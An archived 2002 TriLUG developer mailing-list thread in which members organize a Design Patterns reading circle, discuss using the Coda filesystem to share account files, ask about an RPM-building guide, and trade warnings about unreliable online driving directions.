(IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id SAA09879 for ; Tue, 19 Feb 2002 18:27:57 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AGD64600; Tue, 19 Feb 2002 18:29:59 -0500 (EST) Subject: Re: [Dev] Reading Circle To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Tue, 19 Feb 2002 18:35:36 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/19/2002 06:35:39 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > Correct-o-mundo. Big pecan tree. Tin roof. Galvanized tub full of ice and > refreshments. Design patterns. STL. OO. What could be better? Not much. (God, that answer makes me sound like such a geek... LOL ) TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From prhodes@vdsinc.com Tue Feb 19 18:35:01 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id SAA09962 for ; Tue, 19 Feb 2002 18:35:01 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AGD65043; Tue, 19 Feb 2002 18:37:03 -0500 (EST) Subject: Re: [Dev] Reading Circle To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Tue, 19 Feb 2002 18:42:40 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/19/2002 06:42:44 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hey guys, I was just thinking about something... I think we have somewhere in the neighborhoold of 8-10 people showing interest in this so far. Out of that, I figure we'll get may 5-7 regular participants. It could be more, but realistically, any time you poll of bunch of people about doing something, a full 100% of those who express interest almost never actually do participate... So, anyway, what I'm wondering is this.. how big do we *want* this thing to be? I'm pretty comfortable with the idea of 5-7, on average, with maybe as many as 10. However, I was mulling the idea of asking the local Java community (via the Tri-JUG mailing list ) if anybody was interested... but, I'm a little timid about doing so, because I get the feeling that there is a LOT of interest in patterns in that camp, and doing so might result in a huge explosion in people wanting to participate in this. Not to intentionally try to exclude anybody...but I don't think a group like this should be much bigger than about 10 people, or it gets unwieldy. So, my question is... should we post to Tri-JUG and advertise the existence of our group there, or just keep things like they are? Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From brent@mutt.rcfile.org Tue Feb 19 18:47:15 2002 Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id SAA10017 for ; Tue, 19 Feb 2002 18:47:15 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 19 Feb 2002 18:49:18 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1JNnQt77393 for dev@trilug.org; Tue, 19 Feb 2002 18:49:26 -0500 (EST) (envelope-from brent) Date: Tue, 19 Feb 2002 18:49:26 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Reading Circle Message-ID: <20020219234926.GB76926@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-19 18:42] prhodes@vdsinc.com said: | [very good points snipped] | So, my question is... should we post to Tri-JUG and advertise | the existence of our group there, or just keep things like they are? I had the same thought ;-) I (tentatively) agree with you on the optimal size issue, and would suggest a few meetings at the current projected size. After that, we could decide if potentially increasing the group would be beneficial or not. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From tbryan@python.net Tue Feb 19 22:41:21 2002 Received: from mail8.nc.rr.com ([24.93.67.55]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA11081 for ; Tue, 19 Feb 2002 22:41:21 -0500 Received: from there ([66.57.0.102]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 19 Feb 2002 22:42:52 -0500 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Reading Circle Date: Tue, 19 Feb 2002 23:58:59 +0500 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <0531a5242031422FE8@mail8.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wednesday 20 February 2002 04:42 am, prhodes@vdsinc.com wrote: > So, anyway, what I'm wondering is this.. how big do we *want* this thing > to be? I'm pretty comfortable with the idea of 5-7, on average, with > maybe as many as 10. Strong recommendation for keeping it in the 10 to 20 people range. More than that, and it will tend to become less of a discussion group and more of a lecture by a few of the people in the group. I might be wrong, but that's been my experience. It's better if most of those present can actively participate. Better for everyone that way. Will the meeting space have a whiteboard, chalkboard, and/or overhead? Design Patterns almost requires UML and pseudo-code during discussion. ---Tom From tbryan@python.net Tue Feb 19 22:43:18 2002 Received: from mail7.nc.rr.com ([24.93.67.54]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA11104 for ; Tue, 19 Feb 2002 22:43:18 -0500 Received: from there ([66.57.0.102]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 19 Feb 2002 22:44:43 -0500 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Are we on for a prelim meeting on the 23rd? And meeting the 2nd and 4th Saturdays? (was: Reading Circle) Date: Wed, 20 Feb 2002 00:00:51 +0500 X-Mailer: KMail [version 1.3.1] References: <00e001c1b960$4fcfc520$74001098@wireless.duke.edu> In-Reply-To: <00e001c1b960$4fcfc520$74001098@wireless.duke.edu> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <0affc4344031422FE7@mail7.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tuesday 19 February 2002 09:13 pm, Matthew Todd wrote: > All good for me. (Prelim 23rd, 2nd & 4th Saturdays.) > > Also, after last night's TriJUG talk[1], I'm wondering if a book like > Pragmatic Programming[2,3] would be interesting for the group > after/alongside the Design Patterns book. I would recommend one book at a time. Once the reading group for the first book is well under way, I suggest polling for suggestions here and then holding a vote. ---Tom From brent@mutt.rcfile.org Wed Feb 20 00:05:55 2002 Received: from mail8.nc.rr.com (fe8.southeast.rr.com [24.93.67.55]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id AAA11599; Wed, 20 Feb 2002 00:05:55 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Wed, 20 Feb 2002 00:07:58 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1K587278711; Wed, 20 Feb 2002 00:08:07 -0500 (EST) (envelope-from brent) Date: Wed, 20 Feb 2002 00:08:07 -0500 From: Brent Verner To: trilug@trilug.org Cc: "Yeah, I know you got this twice" Message-ID: <20020220050807.GA78572@rcfile.org> References: <1014123391.2538.133.camel@linux2.superlinksoftware.com> <20020219204633.GE5808@enoch.org> <1014153746.5310.11.camel@kendrick> <0dbc92452031422FE4@mail4.nc.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <0dbc92452031422FE4@mail4.nc.rr.com> User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Subject: [Dev] Re: [TriLUG] Don't get involved in Trilug...you might post *gasp* off topic. Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-19 22:54] Craig Duncan said: | As an advocate for the creation of the dev list, I had no idea that it would | turn into a "Reading Circle" list. But rather it turn up there than on the | general tri-lug list of which the posts are way too numerous to really keep | up. What traffic would you prefer the dev@ list to have? I certainly didn't imagine the dev@ would have the "Reading Circle" thread(s), but it's good that the readership actually /have/ that forum for that discussion. (Bias disclaimer: I am very interested in the reading circle thread.) You should open discussion on a topic you /do/ want to see on dev@. It is open to any linux development topics, so send your questions, comments, revelations, doh!s or most recent cool hack on over :-) | ... should we have a reading circle list? If the majority of the dev@ readership expresses similar feelings, I'd accept the discussion being split off, maybe at groups.yahoo or some other non-trilug service. Certainly, if the reading group discussion becomes off-topic for linux development, then it is by association OT from a linux LUG. I hoped that the readership of dev@ would be on-the-whole interested, since it should really be a free-for-all- development-applicable-to-linux list, IMO, and good design is a totally desirable skill for a linux developer to have. If you don't like the current traffic, change it by sending your questions, comments, revelations. &c. to that list. I /will/ fight to keep the dev@ list open to almost any development discussion, and I think forcing the reading group discussion off would be a bad precedent to set. In fact, I hope the reading group can do something to share its adventures with the list members who don't come out to the meetings. cheers. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From brent@mutt.rcfile.org Wed Feb 20 00:46:40 2002 Received: from mail7.nc.rr.com (fe7.southeast.rr.com [24.93.67.54]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id AAA11789 for ; Wed, 20 Feb 2002 00:46:40 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Wed, 20 Feb 2002 00:48:43 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1K5mrC78834 for dev@trilug.org; Wed, 20 Feb 2002 00:48:53 -0500 (EST) (envelope-from brent) Date: Wed, 20 Feb 2002 00:48:53 -0500 From: Brent Verner To: dev@trilug.org Message-ID: <20020220054853.GB78572@rcfile.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Subject: [Dev] reading circle meeting location Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Who: you What: preliminary "Reading Circle" meeting When: Saturday, 23 Feb, 1PM Wnere: 512 Brickhaven Dr. Raleigh, NC 27606 Equipment Available: * VGA/Video Projector (note: the bulb was burned out last time we used this room, so I'll verify the condition of this equipment tomorrow, and try to make sure it is working for the meeting(s)) * sound system * whiteboards * cold beverages. please suggest your favs, I'll buy what I can. Directions from: Beltline: Take the NC-54/HILLSBOROUGH ST exit, exit number 3, towards MEREDITH COLL. 0.1 Keep LEFT at the fork in the ramp. 0.0 Turn LEFT onto HILLSBOROUGH ST/NC-54. 0.3 Turn RIGHT onto BERYL RD. 0.3 Turn LEFT onto BRICKHAVEN DR. 0.0 Durham/Chapel Hill: Go East on I-40 ??? Take RALEIGH CHAPEL HILL EXWY. 2.3 Take the BLUE RIDGE RD exit. 0.2 Turn RIGHT onto BLUE RIDGE RD. 0.6 Turn LEFT onto HILLSBOROUGH ST/NC-54. 0.1 Turn RIGHT. 0.0 Turn LEFT onto BERYL RD. 0.5 Turn RIGHT onto BRICKHAVEN DR. 0.0 Anywhere: http://maps.yahoo.com/py/maps.py?Pyt=Tmap&addr=512+Brickhaven+Dr&city=Raleigh&state=NC&slt=35.794500&sln=-78.695600&name=&zip=27606-1492&country=us&BFKey=&BFCat=&BFClient=&mag=7&desc=&cs=9&newmag=6&poititle=&poi= Park your vehicle 0.0 Enter the unlocked door. 0.0 Look for the stairs. 0.0 Steal coin from fountain-pool 0.0 Walk up the stairs. 0.0 Look for an open door. 0.0 Enter that room. 0.0 Introduce yourself. 0.0 Talk. 0.0 Keep the coin, you earned it. 0.0 Why: Information Dissemination cheers. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From brent@mutt.rcfile.org Wed Feb 20 02:18:07 2002 Received: from mail4.nc.rr.com ([24.93.67.51]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id CAA12196 for ; Wed, 20 Feb 2002 02:18:07 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Wed, 20 Feb 2002 02:19:54 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1K7JhC79292 for dev@trilug.org; Wed, 20 Feb 2002 02:19:43 -0500 (EST) (envelope-from brent) Date: Wed, 20 Feb 2002 02:19:43 -0500 From: Brent Verner To: dev@trilug.org Message-ID: <20020220071943.GA79204@rcfile.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Subject: [Dev] coda filesystems Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Do any of you have any experience using coda filesystems? More specifically, can the coda filesystem be used to 'mount' single files in an otherwise non-coda directory? For those of you who do not know what coda is, go visit http://www.coda.cs.cmu.edu/ quick buzzword intro... 1. disconnected operation for mobile computing 2. is freely available under a liberal license 3. high performance through client side persistent caching 4. server replication 5. security model for authentication, encryption and access control 6. continued operation during partial network failures in server network 7. network bandwith adaptation 8. good scalability 9. well defined semantics of sharing, even in the presence of network failures thanks. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From lovelace@wayfarer.org Wed Feb 20 02:44:08 2002 Received: from maddux.wayfarer.org (wayfarer.org [4.18.171.141]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id CAA12292 for ; Wed, 20 Feb 2002 02:44:07 -0500 Received: (qmail 8109 invoked by uid 501); 20 Feb 2002 07:45:45 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 20 Feb 2002 07:45:45 -0000 Date: Wed, 20 Feb 2002 02:45:45 -0500 (EST) From: Tanner Lovelace To: Subject: Re: [Dev] coda filesystems In-Reply-To: <20020220071943.GA79204@rcfile.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wed, 20 Feb 2002, Brent Verner wrote: > Do any of you have any experience using coda filesystems? More I've been playing around with it a bit. > specifically, can the coda filesystem be used to 'mount' single > files in an otherwise non-coda directory? No, I don't believe so. Coda requires a partition that it can use for it's own stuff and it doesn't store the files there like you would expect but more like a database would store stuff. For example, on the system I've been working with, the clients mount the coda filesystem at /coda. Under there, I have a directory called /coda/users/lovelace. This is the same on whatever client I want to use. I have a file who's full path is /coda/users/lovelace/test. On the server itself, that file is located at /vicepa/0/0/74. Coda manages the translation from it's setup to the user viewed filesystem. The reason it's setup like this is so it can do all the cool stuff like disconnected operation, replication, real-time backups, etc... One other thing. Getting a coda server up and running is not for the faint of heart. It really helps if you have a good knowledge of how AFS (the predecessor to Coda) works beforehand. Tanner -- Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- He who receives an idea from me, receives instruction himself without lessening mine; as he who lights his taper at mine, receives light without darkening me. -- Thomas Jefferson Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From brent@mutt.rcfile.org Wed Feb 20 03:01:35 2002 Received: from Mail6.nc.rr.com ([24.93.67.53]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id DAA12429 for ; Wed, 20 Feb 2002 03:01:35 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Wed, 20 Feb 2002 03:02:59 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1K839V21737 for dev@trilug.org; Wed, 20 Feb 2002 03:03:09 -0500 (EST) (envelope-from brent) Date: Wed, 20 Feb 2002 03:03:09 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] coda filesystems Message-ID: <20020220080308.GA79295@rcfile.org> References: <20020220071943.GA79204@rcfile.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-20 02:45] Tanner Lovelace said: | On Wed, 20 Feb 2002, Brent Verner wrote: | | > Do any of you have any experience using coda filesystems? More | | I've been playing around with it a bit. cool deal! | > specifically, can the coda filesystem be used to 'mount' single | > files in an otherwise non-coda directory? | | No, I don't believe so. Coda requires a partition that | it can use for it's own stuff and it doesn't store the | files there like you would expect but more like a database | would store stuff. Yeah, I just got read an overview of the client-server protocol and inferred this fact. | For example, on the system I've been working with, | the clients mount the coda filesystem at /coda. Under | there, I have a directory called /coda/users/lovelace. | This is the same on whatever client I want to use. | I have a file who's full path is /coda/users/lovelace/test. | On the server itself, that file is located at | /vicepa/0/0/74. Coda manages the translation from | it's setup to the user viewed filesystem. right. this is similar to what I would like to do. I was thinking of mounting the clients at /.coda and symlinking the files I need 'shared' from their system locations. | The reason it's setup like this is so it can do all | the cool stuff like disconnected operation, replication, | real-time backups, etc... | | One other thing. Getting a coda server up and running | is not for the faint of heart. It really helps if you | have a good knowledge of how AFS (the predecessor to Coda) | works beforehand. Specifically, what I'm looking to do is work around the lack of proper federated-auth-mechanism support across multiple systems -- linux, *bsd. I intend to have all account info in a PG database on one machine, and have a coda server on that machine present the appropriate files used by the getgr* and getpw* functions. If all this goes well, I'll implement a similar system to ease the hassle of maintaining multiple proftpd passwd/group files for our multi-virtualhost ftp set up at work -- I absolutely _loathe_ having to figure out /which/ passwd file has to be updated with the current system; there must be a less error-prone/painful solution, and maybe a coda hack will be that ;-) thanks. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From chris@yonderway.com Wed Feb 20 07:21:00 2002 Received: from goldenrod.propagation.net (goldenrod.propagation.net [63.249.161.1]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id HAA13705 for ; Wed, 20 Feb 2002 07:21:00 -0500 Received: from there (user153.net135.nc.sprint-hsd.net [63.162.201.153]) by goldenrod.propagation.net (8.8.5/8.8.5) with SMTP id GAA06090 for ; Wed, 20 Feb 2002 06:19:12 -0600 Message-Id: <200202201219.GAA06090@goldenrod.propagation.net> Content-Type: text/plain; charset="iso-8859-1" From: Chris Hedemark Organization: http://yonderway.com To: dev@trilug.org Subject: Re: [Dev] coda filesystems Date: Wed, 20 Feb 2002 07:23:04 -0500 X-Mailer: KMail [version 1.3.1] References: <20020220071943.GA79204@rcfile.org> In-Reply-To: <20020220071943.GA79204@rcfile.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: You might get some more responses on the main trilug@list since this is more of a sysadmin question than a dev question. On Wednesday 20 February 2002 02:19 am, you wrote: > Do any of you have any experience using coda filesystems? More > specifically, can the coda filesystem be used to 'mount' single > files in an otherwise non-coda directory? > > For those of you who do not know what coda is, go visit > http://www.coda.cs.cmu.edu/ > > quick buzzword intro... > 1. disconnected operation for mobile computing > 2. is freely available under a liberal license > 3. high performance through client side persistent caching > 4. server replication > 5. security model for authentication, encryption and access control > 6. continued operation during partial network failures in server network > 7. network bandwith adaptation > 8. good scalability > 9. well defined semantics of sharing, even in the presence of network > failures > > thanks. > brent From johndavi@us.ibm.com Wed Feb 20 09:26:19 2002 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id JAA14383 for ; Wed, 20 Feb 2002 09:26:19 -0500 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id IAA61020 for ; Wed, 20 Feb 2002 08:23:23 -0600 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.00) with ESMTP id g1KESMf55170 for ; Wed, 20 Feb 2002 09:28:22 -0500 Importance: Normal Sensitivity: To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: "John F Davis" Date: Wed, 20 Feb 2002 09:28:21 -0500 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9 |November 16, 2001) at 02/20/2002 09:28:21 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [Dev] rob's rpm doc Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello I have to build some rpm's again at work. I saw Rob had written a document on building RPM's. Before I start another RPM building endeavor I would like to read what he has written. Anybody know where I can get a copy? JD From jeremyp@pobox.com Wed Feb 20 10:30:24 2002 Received: from mail.ntrnet.net (mail.ntrnet.net [206.66.160.21]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id KAA15039 for ; Wed, 20 Feb 2002 10:30:24 -0500 Received: from shell.ntrnet.net (IDENT:jeremy@shell.ntrnet.net [206.66.160.7]) by mail.ntrnet.net (8.12.1/8.12.1) with ESMTP id g1KFWtVt007224 for ; Wed, 20 Feb 2002 10:32:55 -0500 Date: Wed, 20 Feb 2002 10:32:56 -0500 (EST) From: Jeremy P X-Sender: jeremy@shell.ntrnet.net To: dev@trilug.org Subject: Re: [Dev] reading circle meeting location In-Reply-To: <20020220054853.GB78572@rcfile.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wed, 20 Feb 2002, Brent Verner wrote: > Durham/Chapel Hill: > Go East on I-40 ??? > Take RALEIGH CHAPEL HILL EXWY. 2.3 > Take the BLUE RIDGE RD exit. 0.2 [etc] Good luck finding the "RALEIGH CHAPEL HILL EXWY" There's NEVER been a road called that. I think it's referring to Wade Ave, which was once called the "Wade Ave. Extension" and before that called "I-40" (before I-40 was built around the south of Raleigh). Mapquest is sometimes a little screwed up. --Jeremy From prhodes@vdsinc.com Wed Feb 20 10:44:24 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id KAA15145 for ; Wed, 20 Feb 2002 10:44:24 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AGE20972; Wed, 20 Feb 2002 10:46:26 -0500 (EST) To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Wed, 20 Feb 2002 10:52:04 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/20/2002 10:52:07 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [Dev] Re: mapquest (was: reading circle meeting location) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > Mapquest is sometimes a > little screwed up. You can say that again. Everybody probably already knows this, but let me share a piece of advice with anybody who uses Mapquest or Yahoo Maps, etc.. ALWAYS sanity check the online directions against a REAL map beforehand. I learned this lesson the hard way. About two months ago, I had to make a road trip to Newport, Rhode Island. So of course I fired up my web browser, hit Mapquest, and printed off a nice set of directions... unfortunately I neglected to do a sanity check. So, things went fine all the way into Rhode Island. But, we get to RI, and it turns out that the directions from Mapquest had us drive PAST the exit off of I-95 that we should have taken, drive 20 miles further down, take an exit in to some city, (Middleton?), do some bizarre sequence of turns, U-turns, etc... the net result of which would have been to put us BACK on I-95, going the other way... down to the exit that we passed 20 miles back. Fortunately for us, we realized what was going on before getting back on 95 South, and found a local who gave us directions to where we were going, from where we were and saved us 40-50 miles of extraneous driving. So, the moral of this story is... don't just blindly trust directions that you get online from Mapquest, etc. TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of 